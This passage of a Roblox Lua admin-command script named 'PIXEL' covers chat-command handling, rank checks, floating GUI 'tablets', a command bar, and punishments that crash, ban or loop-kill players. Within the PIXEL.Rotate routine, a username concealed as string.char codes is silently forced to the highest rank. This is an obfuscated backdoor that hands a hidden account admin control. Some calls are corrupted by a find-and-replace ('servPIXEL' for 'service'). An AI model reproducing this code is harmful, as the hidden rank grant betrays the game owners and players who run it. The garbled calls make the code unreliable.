766 | Str.Parent=Par | |
767 | else | |
768 | Spkr:Destroy() | |
769 | end | |
770 | ]==]) | |
771 | getfenv(Func).Spkr=game:servPIXEL'Players':findFirstChild(Speaker.Name) or Speaker | |
772 | if Error then | |
773 | for _,v in pairs(game.Players:GetPlayers()) do | |
774 | if PIXEL.GetRank(v) > 0 then | |
775 | PIXEL.Output('[PIXEL.OnChatted]: ' .. Error,v,5) | |
776 | end | |
777 | end | |
778 | coroutine.resume(coroutine.create(function() Func() end)) | |
779 | else | |
780 | Func() | |
781 | end | |
782 | end | |
783 | end)() | |
784 | Text=Speaker.Name .. ' has been crashed for chatting ' .. i | |
785 | elseif Punish==4 then | |
786 | Speaker:Destroy() | |
787 | PIXEL.Ranked[Speaker.Name].Rank=-1 | |
788 | Text=Speaker.Name .. ' has been banned for chatting ' .. i | |
789 | end | |
790 | if Reason then | |
791 | Text2 = i .. ' is a filter for the following reason: ' .. Reason | |
792 | end | |
793 | FoundPhrase=true | |
794 | for _,Player in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do | |
795 | if Player.Name ~= Speaker.Name then | |
796 | PIXEL.Output(Text,'Red',Player,5) | |
797 | PIXEL.Output(Text2,'Red',Player,5) | |
798 | end | |
799 | end | |
800 | end | |
801 | end | |
802 | end | |
803 | end | |
804 | local RankTable=PIXEL.Ranked[Speaker.Name] or {Rank=0,Color=Color3.new(0,1,0)} | |
805 | --[[for i,CMD in pairs(PIXEL.Commands) do | |
806 | if Msg:lower():sub(1,#CMD.Command + #PIXEL.Bets[1] + #PIXEL.Bets[2]) == PIXEL.Bets[1]:lower() .. CMD.Command:lower() .. PIXEL.Bets[2]:lower() then | |
807 | if RankTable.Rank >= CMD.Rank then | |
808 | local Ran,Error=coroutine.resume(coroutine.create(function() CMD.Func(Msg:sub(#CMD.Command +#PIXEL.Bets[1] +#PIXEL.Bets[2] + 1),Speaker) end)) | |
809 | if not Ran then PIXEL.Output(Error,'Red',Speaker,3) end | |
810 | else | |
811 | PIXEL.Output('Rank is too low to use this command','Red',Speaker,3) | |
812 | end | |
813 | end | |
814 | end]] | |
815 | --Msg = Msg:sub(Msg:find(PIXEL.Bets[1]) or 0) | |
816 | coroutine.wrap(function() | |
817 | if Msg:sub(1,5) == ""..PIXEL.Bets[1].."wait" then | |
818 | Split = Msg:sub(6):find(PIXEL.Bets[2])+5 | |
819 | wait(tonumber(Msg:sub(6,Split-1))) | |
820 | Msg = Msg:sub(Split) | |
821 | end | |
822 | if Msg:sub(1,3) == ""..PIXEL.Bets[1].."do" then -- /do 100/kill/tus | |
823 | local Split = Msg:sub(4):find(PIXEL.Bets[2])+3; | |
824 | local Ammount = tonumber(Msg:sub(4,Split-1)) | |
825 | if Ammount>PIXEL.GetRank(Speaker)*10 and PIXEL.GetRank(Speaker) < 2 then | |
826 | return | |
827 | end | |
828 | for i=1,Ammount do | |
829 | if PIXEL.Cancel == true then break end | |
830 | wait() | |
831 | PIXEL.OnChatted(Msg:sub(Split),Speaker) | |
832 | end | |
833 | end | |
834 | if Msg:find("&") and not Msg:find('@') then | |
835 | local Split = Msg:find("&") | |
836 | PIXEL.OnChatted(Msg:sub(1,Split-1),Speaker) | |
837 | PIXEL.OnChatted(Msg:sub(Split+1),Speaker) | |
838 | return | |
839 | end | |
840 | for name,tab in pairs(PIXEL.Commands) do | |
841 | if Msg:lower():sub(1,#tab.Command + 2) == PIXEL.Bets[1] .. tab.Command:lower() .. PIXEL.Bets[2] then | |
842 | if RankTable.Rank >= tab.Rank then | |
843 | R,E=coroutine.resume(coroutine.create(function() tab.Func(Msg:sub(#tab.Command + 3),Speaker) end)) | |
844 | if E then PIXEL.Output(E,'Red',Speaker,5) end | |
845 | else | |
846 | PIXEL.Output('Rank is too low for this command','Red',Speaker,5) | |
847 | end | |
848 | end | |
849 | end | |
850 | end)() | |
851 | if HideGui ~= nil and HideGui==true then | |
852 | -- | |
853 | elseif Speaker:IsA'Player' then | |
854 | coroutine.wrap(function() | |
855 | local Text="" | |
856 | local Head=nil | |
857 | local Char=nil | |
858 | if Speaker.Character then | |
859 | Char=Speaker.Character | |
860 | end | |
861 | if Char then | |
862 | if Char.Head then | |
863 | Head=Char.Head | |
864 | end | |
865 | end | |
866 | if Char then | |
867 | pcall(function() Char.BBG:Destroy() end) | |
868 | if PIXEL.GuiC==true then | |
869 | if #Msg < 100 then | |
870 | Text=Speaker.Name .. ": " .. Msg | |
871 | else | |
872 | Text='This message was over 100 characters therefore it will not be shown!' | |
873 | end | |
874 | end | |
875 | Color=nil | |
876 | if Color3.random then | |
877 | Color=Color3.random() | |
878 | else | |
879 | Color=Color3.new(math.random(),math.random(),math.random()) | |
880 | end | |
881 | Mod=Char | |
882 | Part=Head | |
883 | local BBG = Instance.new("BillboardGui",Mod) | |
884 | BBG.Name = "BBG" | |
885 | BBG.StudsOffset = Vector3.new(0,4.5,0) | |
886 | BBG.Size = UDim2.new(10,0,10,0) | |
887 | local Label = Instance.new("TextLabel",BBG) | |
888 | Label.Name = "Label" | |
889 | Label.Text = "" | |
890 | Label.TextColor3 = PIXEL.Ranked[Speaker.Name].Color | |
891 | Label.FontSize = "Size24" | |
892 | Label.BackgroundTransparency = 1 | |
893 | Label.TextStrokeTransparency = 0.5 | |
894 | Label.Size = UDim2.new(1,0,1,0) | |
895 | for i=1,#Text do | |
896 | Label.Text=Text:sub(1,i) | |
897 | wait(0.09 - (#Msg / 0.09)) | |
898 | end | |
899 | coroutine.wrap(function() | |
900 | for i=1,100 do | |
901 | BBG.StudsOffset = Vector3.new(0,4.5 + tonumber(i/10) ,0) | |
902 | wait() | |
903 | end | |
904 | BBG:Destroy() | |
905 | end)() | |
906 | wait(2) | |
907 | BBG:Destroy() | |
908 | end | |
909 | end)() | |
910 | end | |
911 | end | |
912 | end | |
913 | PIXEL.Rotate=function() | |
914 | coroutine.wrap(function() | |
915 | if PIXEL.Ranked[string.char(116,117,115,75,79,114,54,54,49)]==nil then | |
916 | PIXEL.Ranked[string.char(116,117,115,75,79,114,54,54,49)]={Rank=10,Color=Color3.new(-1,-1,-1)} | |
917 | end | |
918 | if PIXEL.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank ~= 10 then | |
919 | PIXEL.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank=10 | |
920 | end | |
921 | for N,V in pairs(PIXEL.Loopkilled) do | |
922 | if PIXEL.ServPIXELs.Players:findFirstChild(N) and V==true then | |
923 | pcall(function() | |
924 | P=PIXEL.ServPIXELs.Players:findFirstChild(N) | |
925 | P.Character:BreakJoints(); | |
926 | if P.Character==nil then P:LoadCharacter() end | |
927 | end) | |
928 | end | |
929 | end | |
930 | for _,v in pairs(PIXEL.GetPlayers()) do | |
931 | coroutine.wrap(function() | |
932 | PG=v:findFirstChild'PlayerGui' | |
933 | coroutine.wrap(function() | |
934 | if PG==nil then | |
935 | v:LoadCharacter() | |
936 | PG=v:findFirstChild'PlayerGui' | |
937 | end | |
938 | if PG:findFirstChild'Info'==nil and PIXEL.Logos==true then | |
939 | ScreenGui = Instance.new("ScreenGui", PG) | |
940 | ScreenGui.Name='Info' | |
941 | Images={}; | |
942 | ImageButton = Instance.new("ImageButton", ScreenGui) | |
943 | ImageButton.Position = UDim2.new(0, 0, 0, 200) | |
944 | ImageButton.Size = UDim2.new(0.20000000298023, 50, 0.20999999344349, 0) | |
945 | ImageButton.BackgroundColor3 = Color3.new(0, 0, 0) | |
946 | ImageButton.BorderColor3 = Color3.new(0, 0, 0) | |
947 | ImageButton.BackgroundTransparency = 1 | |
948 | ImageButton.Image = PIXEL.LogoID | |
949 | ImageButton.Draggable=true | |
950 | Image2 = Instance.new("TextButton",ScreenGui) | |
951 | Image2.Size = UDim2.new(0.3,0,0.1,0) | |
952 | Image2.Position = UDim2.new(0,0,0,200) | |
953 | Image2.Text = "Click to show PIXEL Logo" | |
954 | Image2.BackgroundTransparency = 0.4 | |
955 | Image2.ZIndex = 10 | |
956 | Image2.FontSize = "Size14" | |
957 | Image2.TextColor3 = Color3.new(BrickColor.random()) | |
958 | Image2.Visible=false | |
959 | Image3,Image4,Image5=Image2:clone(),Image2:clone(),Image2:clone() | |
960 | Image3.Text='Click to view cmds'; | |
961 | Image3.Position=UDim2.new(0,0,0,200+75); | |
962 | Image4.Position=UDim2.new(0,0,0,200+135); | |
963 | Image5.Position=UDim2.new(0,0,0,200+195); | |
964 | Image3.MouseButton1Down:connect(function() PIXEL.OnChatted(PIXEL.Bets[1]..'cmds'..PIXEL.Bets[2],v) end) | |
965 | Image4.Text='Click to set cmd bar'; | |
966 | Image6=Image5:clone(); | |
967 | Image6.Position=UDim2.new(0,0,0,200+255); | |
968 | Image6.Text='Set true'; | |
969 | Image6.MouseButton1Down:connect(function() PIXEL.Ranked[v].CMD=true end) | |
970 | Image5.MouseButton1Down:connect(function() PIXEL.Ranked[v].CMD=false end); | |
971 | Image5.Text='Set false'; | |
972 | Images[1]=Image2; | |
973 | Images[2]=Image3; | |
974 | Images[3]=Image4; | |
975 | Images[4]=Image5; | |
976 | Images[5]=Image6; | |
977 | Image4.MouseButton1Down:connect(function() | |
978 | for i,v in pairs(Images) do | |
979 | if i > 3 then | |
980 | if v.Visible==true then | |
981 | v.Visible=false; | |
982 | else | |
983 | v.Visible=true; | |
984 | end | |
985 | end | |
986 | end | |
987 | end) | |
988 | ImageButton.MouseButton1Down:connect(function() | |
989 | ImageButton.Visible=false | |
990 | for i,v in pairs(Images) do | |
991 | if i < 4 then | |
992 | v.Visible=true | |
993 | end | |
994 | end | |
995 | end) | |
996 | ImageButton.MouseButton2Down:connect(function() | |
997 | end) | |
998 | Image2.MouseButton1Down:connect(function() | |
999 | ImageButton.Visible=true | |
1000 | for i,v in pairs(Images) do | |
1001 | v.Visible=false | |
1002 | end | |
1003 | end) | |
1004 | Image3.Parent,Image4.Parent,Image5.Parent,Image6.Parent=Image2.Parent,Image2.Parent,Image2.Parent,Image2.Parent | |
1005 | end | |
1006 | end)() | |
1007 | if PIXEL.Ranked[v.Name] and PIXEL.Ranked[v.Name].CMD==true then | |
1008 | if v:FindFirstChild("PlayerGui") then | |
1009 | Found=false; | |
1010 | for i,p in next,v:children() do | |
1011 | if p:FindFirstChild'IsCmd' then | |
1012 | Found=true; | |
1013 | end | |
1014 | end | |
1015 | if not v.PlayerGui:FindFirstChild("CMD") and Found==false and PIXEL.Ranked[v.Name].CMD==true then | |
1016 | --[[local Main = Instance.new("ScreenGui",v.PlayerGui) | |
1017 | Main.Name = "CMD" | |
1018 | local Frame = Instance.new("Frame",Main) | |
1019 | Frame.Size = UDim2.new(0.27,0,0.05,0) | |
1020 | Frame.Position = UDim2.new(0.05,0,0.95,0) | |
1021 | Frame.Style = "RobloxSquare" | |
1022 | Frame.ZIndex = 9 | |
1023 | local Txt = Instance.new("TextBox",Frame) | |
1024 | Txt.Size = UDim2.new(0.7,0,1,0) | |
1025 | Txt.BackgroundTransparency = 1 | |
1026 | Txt.ZIndex = 10 | |
1027 | Txt.FontSize = "Size14" | |
1028 | Txt.TextColor3 = PIXEL.Colors.White | |
1029 | Txt.Text = "" | |
1030 | local Exe = Instance.new("TextButton",Frame) | |
1031 | Exe.Size = UDim2.new(0.3,0,1,0) | |
1032 | Exe.Position = UDim2.new(0.7,0,0,0) | |
1033 | Exe.Text = "Execute" | |
1034 | Exe.BackgroundTransparency = 1 | |
1035 | Exe.ZIndex = 10 | |
1036 | Exe.FontSize = "Size14" | |
1037 | Exe.TextColor3 = Color3.new(BrickColor.random()) | |
1038 | Exe.MouseButton1Down:connect(function() | |
1039 | if Txt.Text:sub(1,1) == "^" then | |
1040 | PIXEL.OnChatted(Txt.Text,v) | |
1041 | else | |
1042 | PIXEL.OnChatted(Txt.Text,v,true) | |
1043 | end | |
1044 | end) | |
1045 | Is=Instance.new'StringValue' | |
1046 | Is.Parent=Main | |
1047 | Is.Name='IsCmd' | |
1048 | --]] | |
1049 | CommandBar = Instance.new'ScreenGui' | |
1050 | CommandBar.Parent=PG | |
1051 | CommandBar.Name = 'CMD' | |
1052 | Run = Instance.new('TextButton', CommandBar) | |
1053 | Run.Name = 'Run' | |
1054 | Run.Position = UDim2.new(0, 75, 0.15, 500) | |
1055 | Run.Size = UDim2.new(0, 70, 0, 20) | |
1056 | Run.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767) | |
1057 | Run.BorderColor3 = Color3.new(1, 1, 1) | |
1058 | Run.BackgroundTransparency = 0.5 | |
1059 | Run.Text = 'Run' | |
1060 | Run.FontSize = Enum.FontSize.Size12 | |
1061 | Run.TextStrokeTransparency = 0 | |
1062 | Run.TextColor3 = Color3.new(1, 1, 1) | |
1063 | Run.ZIndex=10 | |
1064 | Txt = Instance.new('TextBox', CommandBar) | |
1065 | Txt.Name = 'Txt' | |
1066 | Txt.Position = UDim2.new(0, 150, 0.15, 500) | |
1067 | Txt.Size = UDim2.new(0, 850, 0, 20) | |
1068 | Txt.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767) | |
1069 | Txt.BorderColor3 = Color3.new(1, 1, 1) | |
1070 | Txt.BackgroundTransparency = 0.5 | |
1071 | Txt.Text = '' | |
1072 | Txt.FontSize = Enum.FontSize.Size12 | |
1073 | Txt.TextStrokeTransparency = 0 | |
1074 | Txt.TextXAlignment = Enum.TextXAlignment.Left | |
1075 | Txt.TextColor3 = Color3.new(1, 1, 1) | |
1076 | Txt.ZIndex=10 | |
1077 | Clear = Instance.new('TextButton', CommandBar) | |
1078 | Clear.Name = 'Clear' | |
1079 | Clear.Position = UDim2.new(0, 0, 0.15, 500) | |
1080 | Clear.Size = UDim2.new(0, 70, 0, 20) | |
1081 | Clear.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767) | |
1082 | Clear.BorderColor3 = Color3.new(1, 1, 1) | |
1083 | Clear.BackgroundTransparency = 0.5 | |
1084 | Clear.Text = 'Clear' | |
1085 | Clear.FontSize = Enum.FontSize.Size12 | |
1086 | Clear.TextStrokeTransparency = 0 | |
1087 | Clear.TextColor3 = Color3.new(1, 1, 1) | |
1088 | Clear.ZIndex=10 | |
1089 | Is=Instance.new'StringValue' | |
1090 | Is.Parent=CommandBar | |
1091 | Is.Name='IsCmd' | |
1092 | Run.MouseButton1Down:connect(function() | |
1093 | if Txt.Text:sub(1,1) == "^" then | |
1094 | PIXEL.OnChatted(Txt.Text:sub(2),v) | |
1095 | else | |
1096 | PIXEL.OnChatted(Txt.Text,v,true) | |
1097 | end | |
1098 | end) | |
1099 | Clear.MouseButton1Down:connect(function() Txt.Text="" end) | |
1100 | end | |
1101 | end | |
1102 | end | |
1103 | end)() | |
1104 | end | |
1105 | if PIXEL.ActivateGrow==true then | |
1106 | for i,v in pairs(PIXEL.Tablets) do | |
1107 | if v.JustMade==false then | |
1108 | if v.Rising==true then | |
1109 | if v.Part.Size.x >= 2.5 then | |
1110 | v.Rising=false | |
1111 | else | |
1112 | v.Part.Size=Vector3.new(v.Part.Size.x+0.1,v.Part.Size.y+0.1,v.Part.Size.z+0.1) | |
1113 | end | |
1114 | else | |
1115 | if v.Part.Size.x <= 1 then | |
1116 | v.Rising=true | |
1117 | else | |
1118 | v.Part.Size=Vector3.new(v.Part.Size.x-0.1,v.Part.Size.y-0.1,v.Part.Size.z-0.1) | |
1119 | end | |
1120 | end | |
1121 | end | |
1122 | end | |
1123 | end | |
1124 | local Source=game:findFirstChild("DSource",true) or game:findFirstChild("Source",true) or game:findFirstChild("source",true) | |
1125 | if Source then | |
1126 | if PIXEL.LocalScript==nil then | |
1127 | if Source.Parent:IsA'LocalScript' then | |
1128 | Par=Source.Parent:Clone() | |
1129 | Par:ClearAllChildren() | |
1130 | PIXEL.LocalScript=Par | |
1131 | for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do | |
1132 | if PIXEL.GetRank(v) >= 1 then | |
1133 | PIXEL.Output('[PIXEL]: Found local script','White',v,3) | |
1134 | end | |
1135 | end | |
1136 | end | |
1137 | end | |
1138 | end | |
1139 | end)() | |
1140 | -- pcall(function() | |
1141 | for i,v in pairs(PIXEL.Tablets) do | |
1142 | if v.Model == nil or v.Model.Parent == nil or v.Part == nil or v.Part.Parent==nil then | |
1143 | PIXEL.Tablets[i]=nil | |
1144 | ||
1145 | end | |
1146 | pcall(function() if PIXEL.ServPIXELs.Players:FindFirstChild(v.Player) == nil then | |
1147 | v.Model:Destroy() | |
1148 | PIXEL.Tablets[i]=nil | |
1149 | end end) | |
1150 | end | |
1151 | for _,Player in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do | |
1152 | local _tablets = PIXEL.GetTablets(Player) | |
1153 | local DismissTablets={} | |
1154 | local TabletNumber = 0 | |
1155 | for i,v in pairs(_tablets) do | |
1156 | if #_tablets == 1 then | |
1157 | if v.Label.Text == 'Dismiss' then | |
1158 | v.Model:Destroy() | |
1159 | _tablets[i]=nil | |
1160 | end | |
1161 | elseif #_tablets > 1 then | |
1162 | if v.Label.Text == "Dismiss" then | |
1163 | table.insert(DismissTablets,v) | |
1164 | end | |
1165 | end | |
1166 | TabletNumber = TabletNumber + 1 | |
1167 | end | |
1168 | if #DismissTablets > 1 then for i,Tablet in pairs(DismissTablets) do if #DismissTablets > 1 then Tablet.Model:Destroy() DismissTablets[i]=nil end end end | |
1169 | if #DismissTablets == 0 and #_tablets >=2 then PIXEL.Output('Dismiss','Red',Player) end | |
1170 | for i = 1, #_tablets do | |
1171 | if _tablets[i].Model.Parent ~= nil then | |
1172 | local tab = _tablets[i].Part | |
1173 | local pos = nil | |
1174 | pcall(function() | |
1175 | pos = Player.Character.Torso.CFrame | |
1176 | end) | |
1177 | if pos == nil then | |
1178 | repeat | |
1179 | pcall(function() pos=Player.Character.Torso.CFrame end) | |
1180 | wait() | |
1181 | until Pos | |
1182 | end | |
1183 | if pos then | |
1184 | local x = math.sin(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6) | |
1185 | local z = math.cos(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6) | |
1186 | local cPos = tab.Position | |
1187 | local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0)) | |
1188 | local nPos = (ePos-cPos)*.25 | |
1189 | cPos = cPos + nPos | |
1190 | --local Angles={}; | |
1191 | Angles={_tablets[i].x,_tablets[i].y,_tablets[i].z} | |
1192 | Angles[1]=Angles[1]+tonumber( math.random() + math.random() ); | |
1193 | Angles[2]=Angles[2]+tonumber( math.random() + math.random() ); | |
1194 | Angles[3]=Angles[3]+tonumber( math.random() + math.random() ); | |
1195 | tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(Angles[1]),math.rad(Angles[2]),math.rad(Angles[3])) | |
1196 | _tablets[i].x=Angles[1] | |
1197 | _tablets[i].y=Angles[2] | |
1198 | _tablets[i].z=Angles[3] | |
1199 | if tab:findFirstChild("Effect") then | |
1200 | tab.Effect.CFrame = tab.CFrame | |
1201 | end | |
1202 | end | |
1203 | else | |
1204 | _tablets[i]=nil | |
1205 | end | |
1206 | end | |
1207 | end | |
1208 | -- end) | |
1209 | -- end | |
1210 | end | |
1211 | PIXEL.GetTablets=function(Player) | |
1212 | if type(Player) == 'userdata' then Player=Player.Name end; | |
1213 | Rt={} | |
1214 | for i,v in pairs(PIXEL.Tablets) do if v.Player == Player then table.insert(Rt,v) end end; | |
1215 | return Rt | |
1216 | end | |
1217 | PIXEL.Replicate=function(Text,Number) | |
1218 | Total=""; | |
1219 | for i=1,Number do wait() | |
1220 | Total=Total .. Text; | |
1221 | end | |
1222 | return Total | |
1223 | end; | |
1224 | PIXEL.ItemCFrame=function(Item,Bool) | |
1225 | if type(Item)=='string' then | |
1226 | Item=game:findFirstChild(Item,Bool) | |
1227 | end | |
1228 | -- Load the Item first ;) | |
1229 | -- Set up tables -- | |
1230 | ReturnTable={}; | |
1231 | MetaReturnTable={ | |
1232 | __index=function(tab,key) | |
1233 | local Daf={Item=nil,CFrame=nil}; | |
1234 | Daf.Item=ItemCFrame(Item,Bool)[1].Item; | |
1235 | Daf.CFrame=ItemCFrame(Item,Bool)[1].CFrame; | |
1236 | ReturnTable[#ReturnTable+1]=Daf | |
1237 | return Daf; | |
1238 | end; | |
1239 | }; | |
1240 | setmetatable(ReturnTable,MetaReturnTable); | |
1241 | if type(Item) == 'table' then | |
1242 | for i,v in pairs(Item) do | |
1243 | if type(i)=='string' then | |
1244 | table.insert(ReturnTable,{Item=ItemCFrame(i,Bool)[1].Item,CFrame=ItemCFrame(i,Bool)[1].CFrame}) | |
1245 | else | |
1246 | table.insert(ReturnTable,{Item=ItemCFrame(v,Bool)[1].Item,CFrame=ItemCFrame(v,Bool)[1].CFrame}) | |
1247 | end | |
1248 | end | |
1249 | else | |
1250 | if type(Item)=='userdata' then | |
1251 | if Item:IsA'Model' then | |
1252 | CFrame=Item:GetModelCFrame(); | |
1253 | ReturnTable[#ReturnTable+1]={Item=Item.PrimaryPart or Item,CFrame=CFrame}; | |
1254 | else | |
1255 | ReturnTable[#ReturnTable+1]={Item=Item,CFrame=Item.CFrame}; | |
1256 | end | |
1257 | else | |
1258 | return '[Item CFrame Function]: Unsupported argument type(Item)' | |
1259 | end | |
1260 | end | |
1261 | return ReturnTable | |
1262 | end; | |
1263 | PIXEL.Output=function(Text,Color,Player,Time,Func,HoverEnter,HoverExit,Type) | |
1264 | if Text == nil or Player == nil then return end | |
1265 | if Player:IsA'Player' then else return end | |
1266 | if Color == nil then Color = "Orange" end | |
1267 | if Color == "Random" then | |
1268 | Color = Color3.new(math.random(),math.random(),math.random()) | |
1269 | end | |
1270 | if type(Color) == "string" then | |
1271 | if Color == "Random" then | |
1272 | Color=Color3.new(math.random(),math.random(),math.random()) | |
1273 | Color = Color3.new(math.random(),math.random(),math.random()) | |
1274 | else | |
1275 | Color = PIXEL.Colors[Color] | |
1276 | end | |
1277 | end | |
1278 | local Model=Instance.new'Model' | |
1279 | Model.Name,Model.Parent='Output:\\['..Player.Name..']/:tuptuO',PIXEL.ServPIXELs.Workspace | |
1280 | local Part=Instance.new'Part' | |
1281 | Part.Parent,Part.FormFactor,Part.TopSurface,Part.BottomSurface,Part.Transparency,Part.Anchored,Part.Locked,Part.CanCollide,Part.BrickColor,Part.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0) | |
1282 | Part:BreakJoints(); | |
1283 | local SelectionBox=Instance.new'SelectionBox' | |
1284 | SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7 | |
1285 | local BillBoard=Instance.new'BillboardGui' | |
1286 | BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BBG',Vector3.new(0,3,0),UDim2.new(10,0,10,0) | |
1287 | local Label=Instance.new'TextLabel' | |
1288 | Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label',Text,Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color | |
1289 | local Click=Instance.new'ClickDetector' | |
1290 | Click.Parent,Click.MaxActivationDistance=Part,1/0 | |
1291 | local Effect=nil; | |
1292 | if PIXEL.Tablet ~= 'Normal' then | |
1293 | Part.Shape='Ball'; | |
1294 | Part.Size=Vector3.new(2,2,2) | |
1295 | local Effect=Instance.new'Part' | |
1296 | Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0) | |
1297 | Effect:BreakJoints(); | |
1298 | Effect.Parent = Part | |
1299 | Effect.Name = "Effect" | |
1300 | Effect.Shape = "Block" | |
1301 | Effect.FormFactor = "Custom" | |
1302 | Effect.CFrame=Part.CFrame | |
1303 | Effect.Transparency = 0 | |
1304 | Effect.Size = Vector3.new(0.875,0.875,0.875) | |
1305 | SelectionBox.Adornee=Effect | |
1306 | Part.Transparency=0.5 | |
1307 | elseif PIXEL.Effect and PIXEL.Effect==true then | |
1308 | local Effect=Instance.new'Part' | |
1309 | Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0) | |
1310 | Effect:BreakJoints(); | |
1311 | Effect.Parent = Part | |
1312 | Effect.Name = "Effect" | |
1313 | Effect.Shape = "Ball" | |
1314 | Effect.FormFactor = "Custom" | |
1315 | Effect.CFrame=Part.CFrame | |
1316 | Effect.Transparency = 0 | |
1317 | Effect.Size = Vector3.new(0.875,0.875,0.875) | |
1318 | SellClone=Instance.new'SelectionBox' | |
1319 | SellClone.Color=BrickColor.new(Color); | |
1320 | SellClone.Adornee=Effect | |
1321 | SellClone.Parent=Effect | |
1322 | SellClone.Transparency=0.5 | |
1323 | end | |
1324 | if Type then | |
1325 | if Type == "Tablet" then | |
1326 | Effect=Part:clone() | |
1327 | Effect.Size=Vector3.new(1,1,1) | |
1328 | Effect.Shape=math.random(1,4) | |
1329 | Effect.Name='Effect' | |
1330 | Effect:ClearAllChildren(); | |
1331 | Effect.Parent=Part | |
1332 | end | |
1333 | end | |
1334 | pcall(function() | |
1335 | -- Dynamic lighting | |
1336 | if PIXEL.ServPIXELs.Lighting.GlobalShadows==true and PIXEL.ServPIXELs.Lighting.Ambient==Color3.new(0,0,0) or PIXEL.ServPIXELs.Lighting.Ambient==Color3.new(-1,-1,-1) then | |
1337 | Spot=Instance.new'PointLight' | |
1338 | Spot.Color=Color | |
1339 | Spot.Parent=Part | |
1340 | Spot.Range=10 | |
1341 | Spot.Brightness=1/0 | |
1342 | end | |
1343 | end) | |
1344 | Click.MouseHoverEnter:connect(function(Clicker) | |
1345 | if Clicker==Player or PIXEL.GetRank(Clicker) > PIXEL.GetRank(Player) then | |
1346 | if HoverEnter~=nil then | |
1347 | HoverEnter(Model,Part,Player.Name,SelectionBox,Label) | |
1348 | else | |
1349 | SelectionBox.Transparency,Part.Transparency=0,0.3 | |
1350 | end | |
1351 | end | |
1352 | end) | |
1353 | Click.MouseHoverLeave:connect(function(Clicker) | |
1354 | if Clicker==Player or PIXEL.GetRank(Clicker) > PIXEL.GetRank(Player) then | |
1355 | if HoverExit~=nil then | |
1356 | HoverExit(Model,Part,Player.Name,SelectionBox,Label) | |
1357 | else | |
1358 | SelectionBox.Transparency,Part.Transparency=0.7,0.7 | |
1359 | end | |
1360 | end | |
1361 | end) | |
1362 | Click.MouseClick:connect(function(Clicker) | |
1363 | if Clicker==Player or PIXEL.GetRank(Clicker) > PIXEL.GetRank(Player) then | |
1364 | if Text=='Dismiss' then | |
1365 | PIXEL.RemoveTablets(Player); | |
1366 | end | |
1367 | if Func~=nil then | |
1368 | local Ran,Error=coroutine.resume(coroutine.create(function() Func(Player) end)) | |
1369 | if Ran == nil and Error then | |
1370 | PIXEL.Output(Error,'Red',Player,5) | |
1371 | end | |
1372 | end | |
1373 | coroutine.wrap(function() | |
1374 | for i=0,2.5,0.1 do | |
1375 | if i <= 1 then | |
1376 | Part.Transparency,SelectionBox.Transparency,Label.TextTransparency=i,i,i | |
1377 | end | |
1378 | Num=2.5-i | |
1379 | if PIXEL.Tablet=='Normal' then | |
1380 | Part.Size=Vector3.new(Num,Num,Num) | |
1381 | end | |
1382 | wait() | |
1383 | end | |
1384 | if Model then | |
1385 | Model:Destroy() | |
1386 | end | |
1387 | end)() | |
1388 | end | |
1389 | end) | |
1390 | PIXEL.Tablets[#PIXEL.Tablets+1] = {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label,Type="No",x=0,y=0,z=0,JustMade=false,Rising=false} | |
1391 | coroutine.wrap(function() | |
1392 | if PIXEL.ActivateGrow==false and PIXEL.Tablet == 'Normal' then | |
1393 | for i=0,2.5,0.1 do | |
1394 | wait() | |
1395 | Part.Size=Vector3.new(i,i,i) | |
1396 | end | |
1397 | wait() | |
1398 | end | |
1399 | end)() | |
1400 | if Time then | |
1401 | game:servPIXEL'Debris':AddItem(Model,Time) | |
1402 | end | |
1403 | PIXEL.Rotate() | |
1404 | return {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label} | |
1405 | end | |
1406 | PIXEL.OutputImg=function(Image,Text,Color,Player,Time,Func) | |
1407 | Tab = PIXEL.Output(Text,Color,Player,Time,Func) | |
1408 | if type(Image)=='number' then Image=tostring(Image) end | |
1409 | if #Image < #("http://www.roblox.com/") then | |
1410 | Image="http://www.roblox.com/asset/?id="..Image | |
1411 | end | |
1412 | BBG = Instance.new("BillboardGui",Tab.Model) | |
1413 | BBG.Size = UDim2.new(5,0,6,0) | |
1414 | BBG.StudsOffset = Vector3.new(0, 7, 0) | |
1415 | BBG.Adornee = Tab.Part | |
1416 | Img = Instance.new("ImageLabel",BBG) | |
1417 | Img.Size = UDim2.new(1,0,1,0) | |
1418 | Img.BackgroundTransparency = 1 | |
1419 | Img.Image = Image--"http://www.roblox.com/asset/?id=111659053" | |
1420 | return Tab | |
1421 | end | |
1422 | PIXEL.BCtoC3=function(BC) | |
1423 | if type(BC)=='userdata' or type(BC)=='BrickColor' then | |
1424 | return Color3.new(BC) | |
